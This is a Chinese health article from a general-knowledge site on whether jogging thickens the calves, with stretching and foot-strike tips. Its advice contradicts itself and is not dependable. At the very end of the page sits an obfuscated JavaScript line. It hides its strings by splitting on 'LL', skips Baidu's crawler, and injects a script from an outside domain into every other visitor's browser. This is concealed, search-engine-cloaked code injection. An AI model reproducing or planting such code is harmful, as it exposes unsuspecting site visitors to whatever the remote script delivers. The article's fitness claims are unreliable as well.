当前位置:首页 > 减肥 > 运动减肥 > 正文

跑步瘦身小腿会变粗嘛?

2017-06-11 15:38:45  来源:360常识网   热度:
导语:慢跑会导致小腿变粗吗?答案是不会的,反而慢跑会对我们全身的肌肉放松有非常好的帮助,同时还可以有效的消耗身体的脂肪,对身体的各个部位

慢跑会导致小腿变粗吗?答案是不会的,反而慢跑会对我们全身的肌肉放松有非常好的帮助,同时还可以有效的消耗身体的脂肪,对身体的各个部位都有着非常好的作用,也许很多人在进行慢跑或者是跳绳运动的时候,都会遇到这样的情况,那么跑步瘦身小腿会不会变粗呢?

这种显现的发生,多数存在于的身体不是超重很多,体脂也不是很 高的人群中。在进行慢跑运动的前几天出些大腿变硬变粗情况,其实这是一个正常运动反应,大腿变粗,只是一种假象,只是暂时性的。

变粗,变硬的原因,并不是你的大腿生长的的肌肉导致,这是 因为你刚开始参加运动,身体对运动的适应能力还是很强,在运动过程,大腿产生乳酸,和体液,堆积而形成,变硬,变粗的结果,然而这种情况,只是短期存在的,暂时性的。为缓解这情显现,在 每次进行跑步运动后,要进行认真系统的对大腿和臀部进行伸展练习。

发生些情况的人,不必担心,继续维持运动,经过一短时间,便可消失,长期跑步的人,可以使大腿部变得更佳匀称,健美。

慢跑会导致小腿变粗吗?当然是不罗,慢跑是一种有氧运动,是不会让小腿变粗的,只会让小腿更结实。跑完之后一定要记得放松,轻轻拍打然后做一点腿部的舒展动作。

慢跑是最见效的减肥运动呢,只是放松一定要记得噢

很多人喜欢跑步却又不敢跑步,因为怕小腿越跑越粗。跑步的确会使小腿变粗,短跑运动员的小腿就很粗壮。跑步也会让小腿变得结实,马拉松运动员个个小腿都很细。这是因为跑步姿势和跑步强度不同所致。

怎样跑步小腿才不会变粗

跑步的时候,用前脚掌先着地或整个脚同时着地的话,会对小腿前部的胫骨及膝关节造成损伤,并且会强烈刺激小腿肌肉,造成小腿变粗。如果跑步时尽量用脚跟先着地,然后由脚跟过渡到脚掌,这样就可以减少跑步对踝关节的压力,避免受伤。

为了避免出现萝卜腿的情况,我们建议各位在跑步结束之后,可以适当的做一些拉伸运动,这样可以非常有效地松弛紧绷着的肌肉,也避免了日后出现小腿变粗的情况。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}